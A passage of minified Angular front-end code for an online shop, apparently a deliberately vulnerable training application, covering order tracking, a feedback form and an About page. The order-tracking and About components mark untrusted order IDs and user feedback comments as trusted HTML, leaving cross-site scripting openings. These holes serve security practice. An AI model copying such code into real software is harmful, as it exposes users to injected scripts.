new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function fn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",27),t.qZA())}function Cn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",28),t.qZA())}function vn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",29),t.qZA())}function xn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",30),t.qZA())}function bn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",31),t.qZA())}function Tn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",32),t.qZA())}function An(n,a){if(1&n&&(t.TgZ(0,"span",33)(1,"span"),t._UZ(2,"i",34),t.qZA(),t.TgZ(3,"span",35),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.AsE("",e.results.eta," ",t.lcZ(5,2,"LABEL_DAYS"),"")}}function yn(n,a){if(1&n&&(t.TgZ(0,"span",33)(1,"span"),t._UZ(2,"i",36),t.qZA(),t.TgZ(3,"span",35),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.AsE("",e.results.eta," ",t.lcZ(5,2,"LABEL_DAYS"),"")}}function Zn(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function wn(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name,"")}}function Sn(n,a){1&n&&(t.TgZ(0,"mat-header-cell",38),t._uU(1,"LABEL_PRICE"),t.qZA())}function kn(n,a){if(1&n&&(t.TgZ(0,"mat-cell",39),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.price,"\\xa4")}}function In(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function On(n,a){if(1&n&&(t.TgZ(0,"mat-cell",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.quantity,"")}}function Un(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function Ln(n,a){if(1&n&&(t.TgZ(0,"mat-cell",41),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.total,"\\xa4")}}function Pn(n,a){1&n&&t._UZ(0,"mat-header-row")}function Nn(n,a){1&n&&t._UZ(0,"mat-row")}const En=function(n){return{bonus:n}};O.vI.add(g.zVD,g.UO1,g.sUJ,g.$KU,g.J9Y);var at=(()=>{return(n=at||(at={}))[n.New=0]="New",n[n.Packing=1]="Packing",n[n.Transit=2]="Transit",n[n.Delivered=3]="Delivered",at;var n})();let fe=(()=>{class n{constructor(e,o,i){this.route=e,this.trackOrderService=o,this.sanitizer=i,this.displayedColumns=["product","price","quantity","total price"],this.dataSource=new d.by,this.results={},this.status=at.New,this.Status=at}ngOnInit(){this.orderId=this.route.snapshot.queryParams.id,this.trackOrderService.find(this.orderId).subscribe(e=>{this.results.orderNo=this.sanitizer.bypassSecurityTrustHtml(`<code>${e.data[0].orderId}</code>`),this.results.email=e.data[0].email,this.results.totalPrice=e.data[0].totalPrice,this.results.products=e.data[0].products,this.results.eta=void 0!==e.data[0].eta?e.data[0].eta:"?",this.results.bonus=e.data[0].bonus,this.dataSource.data=this.results.products,this.status=e.data[0].delivered?at.Delivered:this.route.snapshot.data.type?at.New:this.results.eta>2?at.Packing:at.Transit})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.gz),t.Y36(Qt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-track-result"]],decls:48,vars:18,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],[3,"innerHtml"],[2,"text-align","center"],[1,"container-fluid","well"],[1,"row","fa-4x"],[4,"ngIf"],["class","fa-layers fa-fw",4,"ngIf"],["fxLayoutAlign","center",1,"table-wrapper"],[1,"table-heading","heading"],["fxLayoutAlign","center"],[1,"mat-elevation-z0",3,"dataSource"],["table",""],["matColumnDef","product"],["translate","",4,"matHeaderCellDef"],["class","product-name",4,"matCellDef"],["matColumnDef","price"],["fxShow","","fxHide.lt-md","","translate","",4,"matHeaderCellDef"],["class","product-price","fxShow","","fxHide.lt-md","",4,"matCellDef"],["matColumnDef","quantity"],["class","product-quantity",4,"matCellDef"],["matColumnDef","total price"],["class","product-total",4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],[1,"bonus-container"],["translate","",3,"translateParams"],[1,"fas","fa-warehouse","confirmation"],[1,"fas","fa-warehouse"],[1,"fas","fa-truck-loading","confirmation"],[1,"fas","fa-truck-loading"],[1,"fas","fa-truck","confirmation"],[1,"fas","fa-truck"],[1,"fa-layers","fa-fw"],[1,"fas","fa-home","confirmation"],[1,"fa-layers-counter","accent-notification",2,"width","max-content"],[1,"fas","fa-home"],[1,"product-name"],["fxShow","","fxHide.lt-md","","translate",""],["fxShow","","fxHide.lt-md","",1,"product-price"],[1,"product-quantity"],[1,"product-total"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1")(2,"span",1),t._uU(3,"TITLE_SEARCH_RESULTS"),t.qZA(),t._uU(4," - "),t._UZ(5,"span",2),t.qZA(),t.TgZ(6,"div",3)(7,"h3",1),t._uU(8,"LABEL_EXPECTED_DELIVERY"),t.qZA(),t.TgZ(9,"div",4)(10,"div",5),t.YNc(11,fn,2,0,"span",6),t.YNc(12,Cn,2,0,"span",6),t.YNc(13,vn,2,0,"span",6),t.YNc(14,xn,2,0,"span",6),t.YNc(15,bn,2,0,"span",6),t.YNc(16,Tn,2,0,"span",6),t.YNc(17,An,6,4,"span",7),t.YNc(18,yn,6,4,"span",7),t.qZA()()(),t.TgZ(19,"div",8)(20,"div",9)(21,"h2",1),t._uU(22,"LABEL_PRODUCT_ORDERED"),t.qZA()()(),t.TgZ(23,"div",10)(24,"mat-table",11,12),t.ynx(26,13),t.YNc(27,Zn,2,0,"mat-header-cell",14),t.YNc(28,wn,2,1,"mat-cell",15),t.BQk(),t.ynx(29,16),t.YNc(30,Sn,2,0,"mat-header-cell",17),t.YNc(31,kn,2,1,"mat-cell",18),t.BQk(),t.ynx(32,19),t.YNc(33,In,2,0,"mat-header-cell",14),t.YNc(34,On,2,1,"mat-cell",20),t.BQk(),t.ynx(35,21),t.YNc(36,Un,2,0,"mat-header-cell",14),t.YNc(37,Ln,2,1,"mat-cell",22),t.BQk(),t.YNc(38,Pn,1,0,"mat-header-row",23),t.YNc(39,Nn,1,0,"mat-row",24),t.qZA()(),t.TgZ(40,"div",25)(41,"h2",26),t._uU(42,"BONUS_POINTS_EARNED"),t.qZA(),t.TgZ(43,"p"),t._uU(44,"("),t._UZ(45,"span",2),t.ALo(46,"translate"),t._uU(47,")"),t.qZA()()()),2&e&&(t.xp6(5),t.Q6J("innerHtml",o.results.orderNo,t.oJD),t.xp6(6),t.Q6J("ngIf",o.status===o.Status.New),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.New),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Packing),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Packing),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Transit),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Transit),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Delivered),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Delivered),t.xp6(6),t.Q6J("dataSource",o.dataSource),t.xp6(14),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(2),t.Q6J("translateParams",t.VKq(16,En,o.results.bonus)),t.xp6(4),t.Q6J("innerHtml",t.lcZ(46,14,"BONUS_FOR_FUTURE_PURCHASES"),t.oJD))},dependencies:[h.O5,u.Pi,p.Wh,$.b8,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,u.X$],styles:["mat-table[_ngcontent-%COMP%], .table-heading[_ngcontent-%COMP%]{width:90%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);height:35px;justify-content:center;padding:0 20px;width:90%}.product-name[_ngcontent-%COMP%]{margin-right:25px}.table-wrapper[_ngcontent-%COMP%]{margin-top:30px}.table-heading[_ngcontent-%COMP%] h4[_ngcontent-%COMP%]{margin-bottom:0}.row.fa-4x[_ngcontent-%COMP%] svg[_ngcontent-%COMP%]{margin-right:10px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.bonus-container[_ngcontent-%COMP%]{align-items:center;box-sizing:border-box;display:flex;flex-direction:column;margin-top:10px;place-content:stretch center}.bonus-container[_ngcontent-%COMP%] h2[_ngcontent-%COMP%]{margin:0;padding:0}"]}),n})(),Lt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Feedbacks"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ce=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/captcha"}getCaptcha(){return this.http.get(this.host+"/").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),rt=(()=>{class n{constructor(e){this._document=e}attachEnterKeyHandler(e,o,i){const r=this._document.getElementById(e),l=this._document.getElementById(o);r.addEventListener("keyup",function(m){m.preventDefault(),13===m.keyCode&&!l.disabled&&i()})}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(h.K0))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var f=c(9549),B=c(4144),ve=c(7314);function Mn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_COMMENT "),t.qZA())}function Dn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}function qn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_CAPTCHA "),t.qZA())}const Fn=function(){return{length:"160"}};O.vI.add(g.Tab,g.XCy);let Bn=(()=>{class n{constructor(e,o,i,r,l,m){this.userService=e,this.captchaService=o,this.feedbackService=i,this.formSubmitService=r,this.translate=l,this.snackBarHelperService=m,this.authorControl=new s.p4({value:"",disabled:!0},[]),this.feedbackControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.captchaControl=new s.p4("",[s.kI.required,s.kI.pattern("-?[\\\\d]*")]),this.userIdControl=new s.p4("",[]),this.rating=0,this.feedback=void 0}ngOnInit(){this.userService.whoAmI().subscribe(e=>{this.feedback={},this.userIdControl.setValue(e.id),this.feedback.UserId=e.id,this.authorControl.setValue(e.email?`***${e.email.slice(3)}`:"anonymous")},e=>{this.feedback=void 0,console.log(e)}),this.getNewCaptcha(),this.formSubmitService.attachEnterKeyHandler("feedback-form","submitButton",()=>{this.save()})}getNewCaptcha(){this.captchaService.getCaptcha().subscribe(e=>{this.captcha=e.captcha,this.captchaId=e.captchaId},e=>e)}save(){this.feedback.captchaId=this.captchaId,this.feedback.captcha=this.captchaControl.value,this.feedback.comment=`${this.feedbackControl.value} (${this.authorControl.value})`,this.feedback.rating=this.rating,this.feedback.UserId=this.userIdControl.value,this.feedbackService.save(this.feedback).subscribe(e=>{5===e.rating?this.translate.get("FEEDBACK_FIVE_STAR_THANK_YOU").subscribe(o=>{this.snackBarHelperService.open(o)},o=>{this.snackBarHelperService.open(o)}):this.translate.get("FEEDBACK_THANK_YOU").subscribe(o=>{this.snackBarHelperService.open(o)},o=>{this.snackBarHelperService.open(o)}),this.feedback={},this.ngOnInit(),this.resetForm()},e=>{console.log(e),this.snackBarHelperService.open(e.error,"errorBar"),this.feedback={},this.resetCaptcha()})}resetForm(){this.authorControl.markAsUntouched(),this.authorControl.markAsPristine(),this.authorControl.setValue(""),this.feedbackControl.markAsUntouched(),this.feedbackControl.markAsPristine(),this.feedbackControl.setValue(""),this.rating=0,this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}resetCaptcha(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}formatRating(e){return`${e}\\u2605`}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(Ce),t.Y36(Lt),t.Y36(rt),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-contact"]],decls:52,vars:26,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["id","feedback-form",1,"form-container"],["hidden","","type","text","id","userId",3,"formControl"],["appearance","outline","color","accent"],["matInput","","type","text","aria-label","Field with the name of the author",3,"formControl"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["id","comment","matInput","","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160","aria-label","Field for entering the comment or the feedback",3,"formControl","placeholder"],["comment",""],["align","end"],["translate","",4,"ngIf"],[1,"rating-container"],["translate","",2,"font-weight","500","margin-right","8px","float","left"],["id","rating","min","1","max","5","thumbLabel","","tickInterval","1","aria-label","Slider for selecting the star rating",3,"value","displayWith","valueChange"],[2,"margin-bottom","10px","margin-top","10px"],[2,"font-weight","500"],["translate","",2,"font-size","small"],["id","captcha","aria-label","CAPTCHA code which must be solved"],[2,"font-size","small"],["id","captchaControl","matInput","","type","text","aria-label","Field for the result of the CAPTCHA code","pattern","-?[\\\\d]*",3,"formControl","placeholder"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to send the review",3,"disabled","click"],[1,"material-icons"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"SECTION_CUSTOMER_FEEDBACK"),t.qZA(),t.TgZ(4,"div",3),t._UZ(5,"input",4),t.TgZ(6,"mat-form-field",5)(7,"mat-label",2),t._uU(8,"LABEL_AUTHOR"),t.qZA(),t._UZ(9,"input",6),t.qZA(),t.TgZ(10,"mat-form-field",5)(11,"mat-label",2),t._uU(12,"LABEL_COMMENT"),t.qZA(),t.TgZ(13,"mat-hint",2),t._UZ(14,"i",7),t.TgZ(15,"em",8),t._uU(16),t.ALo(17,"translate"),t.qZA()(),t._UZ(18,"textarea",9,10),t.ALo(20,"translate"),t.TgZ(21,"mat-hint",11),t._uU(22),t.qZA(),t.YNc(23,Mn,2,0,"mat-error",12),t.qZA(),t.TgZ(24,"div",13)(25,"label",14),t._uU(26,"LABEL_RATING"),t.qZA(),t.TgZ(27,"mat-slider",15),t.NdJ("valueChange",function(r){return o.rating=r}),t.qZA()(),t.TgZ(28,"div",16)(29,"label",17),t._uU(30,"CAPTCHA:"),t.qZA(),t._uU(31,"\\xa0\\xa0"),t.TgZ(32,"span",18),t._uU(33,"LABEL_WHAT_IS"),t.qZA(),t._uU(34,"\\xa0 "),t.TgZ(35,"code",19),t._uU(36),t.qZA(),t._uU(37,"\\xa0"),t.TgZ(38,"label",20),t._uU(39,"?"),t.qZA()(),t.TgZ(40,"mat-form-field",5)(41,"mat-label",2),t._uU(42,"LABEL_RESULT"),t.qZA(),t._UZ(43,"input",21),t.ALo(44,"translate"),t.YNc(45,Dn,2,0,"mat-error",12),t.YNc(46,qn,2,0,"mat-error",12),t.qZA()(),t.TgZ(47,"button",22),t.NdJ("click",function(){return o.save()}),t.TgZ(48,"i",23),t._uU(49," send "),t.qZA(),t._uU(50),t.ALo(51,"translate"),t.qZA()()()),2&e){const i=t.MAs(19);t.xp6(5),t.Q6J("formControl",o.userIdControl),t.xp6(4),t.Q6J("formControl",o.authorControl),t.xp6(7),t.Oqu(t.xi3(17,16,"MAX_TEXTAREA_LENGTH",t.DdM(25,Fn))),t.xp6(2),t.s9C("placeholder",t.lcZ(20,19,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.feedbackControl),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.feedbackControl.invalid&&o.feedbackControl.errors.required),t.xp6(4),t.Q6J("value",o.rating)("displayWith",o.formatRating),t.xp6(9),t.Oqu(o.captcha),t.xp6(7),t.s9C("placeholder",t.lcZ(44,21,"MANDATORY_CAPTCHA")),t.Q6J("formControl",o.captchaControl),t.xp6(2),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.pattern),t.xp6(1),t.Q6J("disabled",o.authorControl.invalid||o.feedbackControl.invalid||o.captchaControl.invalid||!o.rating),t.xp6(3),t.hij(" ",t.lcZ(51,23,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.c5,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,ve.pH,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.rating-container[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:15px}.star[_ngcontent-%COMP%]{color:#c8c8c8}.active[_ngcontent-%COMP%], .select[_ngcontent-%COMP%]{color:gold}[_nghost-%COMP%] .br{margin:0!important}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})();var xe=c(5192);function Rn(n,a){if(1&n&&(t.TgZ(0,"a",15)(1,"button",16),t._UZ(2,"i",17),t._uU(3," Twitter"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.twitterUrl,t.LSH)}}function Yn(n,a){if(1&n&&(t.TgZ(0,"a",18)(1,"button",16),t._UZ(2,"i",19),t._uU(3," Facebook"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.facebookUrl,t.LSH)}}function Jn(n,a){if(1&n&&(t.TgZ(0,"a",20)(1,"button",16),t._UZ(2,"i",21),t._uU(3," Slack"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.slackUrl,t.LSH)}}function Qn(n,a){if(1&n&&(t.TgZ(0,"a",22)(1,"button",16),t._UZ(2,"i",23),t._uU(3," Reddit"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.redditUrl,t.LSH)}}function Hn(n,a){if(1&n&&(t.TgZ(0,"a",24)(1,"button",16),t._UZ(2,"i",25),t._uU(3," Press Kit"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.pressKitUrl,t.LSH)}}function Gn(n,a){if(1&n&&(t.TgZ(0,"a",26)(1,"button",16),t._UZ(2,"i",27),t._uU(3," NFT"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.nftUrl,t.LSH)}}function jn(n,a){if(1&n&&(t.TgZ(0,"div",8)(1,"h3")(2,"span",3),t._uU(3,"SECTION_SOCIAL_MEDIA"),t.qZA()(),t.YNc(4,Rn,4,1,"a",9),t.YNc(5,Yn,4,1,"a",10),t.YNc(6,Jn,4,1,"a",11),t.YNc(7,Qn,4,1,"a",12),t.YNc(8,Hn,4,1,"a",13),t.YNc(9,Gn,4,1,"a",14),t.qZA()),2&n){const e=t.oxw();t.xp6(4),t.Q6J("ngIf",e.twitterUrl),t.xp6(1),t.Q6J("ngIf",e.facebookUrl),t.xp6(1),t.Q6J("ngIf",e.slackUrl),t.xp6(1),t.Q6J("ngIf",e.redditUrl),t.xp6(1),t.Q6J("ngIf",e.pressKitUrl),t.xp6(1),t.Q6J("ngIf",e.nftUrl)}}O.vI.add(Z.neY,Z.mdU,Z.SrY,Z.HK3,D.Xg,D.T,g.Tab,g.q2v);let Kn=(()=>{class n{constructor(e,o,i){this.configurationService=e,this.feedbackService=o,this.sanitizer=i,this.slideshowDataSource=[],this.images=["assets/public/images/carousel/1.jpg","assets/public/images/carousel/2.jpg","assets/public/images/carousel/3.jpg","assets/public/images/carousel/4.jpg","assets/public/images/carousel/5.png","assets/public/images/carousel/6.jpg","assets/public/images/carousel/7.jpg"],this.stars=[null,\'<i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>\']}ngOnInit(){this.populateSlideshowFromFeedbacks(),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&(e.application.social.twitterUrl&&(this.twitterUrl=e.application.social.twitterUrl),e.application.social.facebookUrl&&(this.facebookUrl=e.application.social.facebookUrl),e.application.social.slackUrl&&(this.slackUrl=e.application.social.slackUrl),e.application.social.redditUrl&&(this.redditUrl=e.application.social.redditUrl),e.application.social.pressKitUrl&&(this.pressKitUrl=e.application.social.pressKitUrl),e.application.social.nftUrl&&(this.nftUrl=e.application.social.nftUrl))},e=>{console.log(e)})}populateSlideshowFromFeedbacks(){this.feedbackService.find().subscribe(e=>{for(let o=0;o<e.length;o++)e[o].comment=`<span style="width: 90%; display:block;">${e[o].comment}<br/> (${this.stars[e[o].rating]})</span>`,e[o].comment=this.sanitizer.bypassSecurityTrustHtml(e[o].comment),this.slideshowDataSource.push({url:this.images[o%this.images.length],caption:e[o].comment})},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(Lt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-about"]],decls:17,vars:7,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],[1,"about-us"],["translate",""],[1,"text-justify"],["href","ftp/legal.md","aria-label","Link to the Terms of Use","translate",""],[3,"height","autoPlay","arrowSize","showArrows","showDots","imageUrls"],["class","social",4,"ngIf"],[1,"social"],["target","_blank","rel","noopener noreferrer","style","margin-left: 0px;","aria-label","Button for the Twitter page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Facebook page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Slack page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Reddit page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the PressKit page of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the NFT of the shop",3,"href",4,"ngIf"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Twitter page of the shop",2,"margin-left","0px",3,"href"],["mat-raised-button","","color","accent"],[1,"fab","fa-twitter","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Facebook page of the shop",3,"href"],[1,"fab","fa-facebook","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Slack page of the shop",3,"href"],[1,"fab","fa-slack","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the Reddit page of the shop",3,"href"],[1,"fab","fa-reddit","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the PressKit page of the shop",3,"href"],[1,"far","fa-newspaper","fa-lg"],["target","_blank","rel","noopener noreferrer","aria-label","Button for the NFT of the shop",3,"href"],[1,"fas","fa-palette","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"section",2)(3,"h1",3),t._uU(4,"TITLE_ABOUT"),t.qZA(),t.TgZ(5,"h3",3),t._uU(6,"SECTION_CORPORATE_HISTORY"),t.qZA(),t.TgZ(7,"p",4),t._uU(8," Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. "),t.TgZ(9,"a",5),t._uU(10,"LINK_TERMS_OF_USE"),t.qZA(),t._uU(11," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. "),t.qZA(),t.TgZ(12,"h3")(13,"span",3),t._uU(14,"SECTION_CUSTOMER_FEEDBACK"),t.qZA()(),t._UZ(15,"slideshow",6),t.YNc(16,jn,10,6,"div",7),t.qZA()()()),2&e&&(t.xp6(15),t.Q6J("height","300px")("autoPlay",!0)("arrowSize","10px")("showArrows",!0)("showDots",!1)("imageUrls",o.slideshowDataSource),t.xp6(1),t.Q6J("ngIf",o.twitterUrl||o.facebookUrl))},dependencies:[h.O5,u.Pi,p.Wh,xe.w5,x.lW,T.a8],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:30px;margin-left:auto;margin-right:auto;width:80%}.about-us[_ngcontent-%COMP%]{margin-left:8.33333%;margin-right:8.33333%;width:83.3333%}.social[_ngcontent-%COMP%]{margin-top:20px}button[_ngcontent-%COMP%]{margin:5px}.text-justify[_ngcontent-%COMP%]{text-align:justify;text-justify:inter-word}"]}),n})(),be=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/SecurityAnswers"}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ht=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/SecurityQuestions"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}findBy(e){return this.http.get(this.hostServer+"/rest/user/security-question?email="+e).pipe((0,C.U)(o=>o.question),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var ut=c(7009),Ct=c(9187),vt=c(4385),Gt=c(3238),jt=c(455);function Wn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function zn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_EMAIL"),t.qZA())}function $n(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_PASSWORD "),t.qZA())}const Te=function(){return{length:"5-40"}};function Vn(n,a){1&n&&(t.TgZ(0,"mat-error",30),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Te))}function Xn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_PASSWORD_REPEAT "),t.qZA())}function to(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}const eo=function(){return{value:8}};function no(n,a){if(1&n&&(t._UZ(0,"mat-password-strength-info",31),t.ALo(1,"translate"),t.ALo(2,"translate"),t.ALo(3,"translate"),t.ALo(4,"translate"),t.ALo(5,"translate")),2&n){t.oxw();const 